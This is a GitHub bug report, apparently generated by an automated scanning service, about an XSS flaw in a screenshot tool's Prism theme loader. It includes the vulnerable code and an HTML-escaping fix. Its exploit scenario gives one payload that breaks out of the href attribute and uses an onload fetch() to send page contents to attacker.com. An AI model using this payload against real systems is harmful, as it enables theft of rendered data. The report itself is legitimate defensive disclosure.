Skip to content

[Detail Bug] Screenshot generation: codeScheme URL allows XSS via unescaped Prism theme <link> href #695

@detail-app

Description

@detail-app

Detail Bug Report

https://app.detail.dev/org_06887db3-bf54-40ab-976d-46c66ab2b840/bugs/bug_8f14a1c3-3f07-41ee-9fad-1fb635f7c88e

Summary

  • Context: The theme.js module loads CSS themes for Prism syntax highlighting when taking screenshots of JSON/code content. It accepts either a theme name or a URL.
  • Bug: User-controlled URLs in the codeScheme parameter are not HTML-escaped before being interpolated into a <link> tag's href attribute.
  • Actual vs. expected: The URL is directly concatenated into HTML without escaping, allowing injection of arbitrary HTML attributes and tags, whereas it should be HTML-escaped to prevent attribute breakout.
  • Impact: An attacker can inject arbitrary JavaScript that executes in the browser context during screenshot generation, potentially stealing sensitive data from rendered pages or manipulating screenshot content.

Code with Bug

module.exports = async themeId => {
  if (isHttpUrl(themeId)) return `<link rel="stylesheet" type="text/css" href="${themeId}">` // <-- BUG 🔴 themeId is not HTML-escaped; allows attribute/tag injection

  const stylesheet =
    CACHE[themeId] ||
    (CACHE[themeId] = await readFile(path.resolve(THEME_PATH(), `prism-${themeId}.css`)))

  return `<style>${stylesheet}</style>`
}

Explanation

When themeId is an HTTP(S) URL, it is inserted directly into the href="..." attribute. If the URL contains a double-quote, it can break out of the attribute and inject additional attributes (e.g., onload=...) or new tags (e.g., <script>). This HTML is later rendered via page.setContent(), so injected JavaScript executes in the headless browser used for screenshot generation.

Exploit Scenario

An attacker supplies a malicious codeScheme URL such as:

'https://attacker.com/theme.css" onload="fetch(\'https://attacker.com/steal?data=\'+btoa(document.body.innerHTML))" x="'

This produces a <link> tag with an injected onload handler, which runs during page rendering and can exfiltrate rendered page contents or alter the screenshot output.

Recommended Fix

HTML-escape the URL before inserting it into the href attribute (or construct the tag via a safe DOM API). Example:

const escapeHtml = str => str
  .replace(/&/g, '&amp;')
  .replace(/"/g, '&quot;')
  .replace(/'/g, '&#39;')
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;');

module.exports = async themeId => {
  if (isHttpUrl(themeId)) return `<link rel="stylesheet" type="text/css" href="${escapeHtml(themeId)}">`

  const stylesheet =
    CACHE[themeId] ||
    (CACHE[themeId] = await readFile(path.resolve(THEME_PATH(), `prism-${themeId}.css`)))

  return `<style>${stylesheet}</style>`
}

History

This bug was introduced in commit 4061fff. The change added support for loading remote Prism themes from CDN URLs by accepting HTTP(S) URLs as theme identifiers, but the URL was directly interpolated into an HTML template string without escaping, creating an XSS vulnerability from the moment the feature was added.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions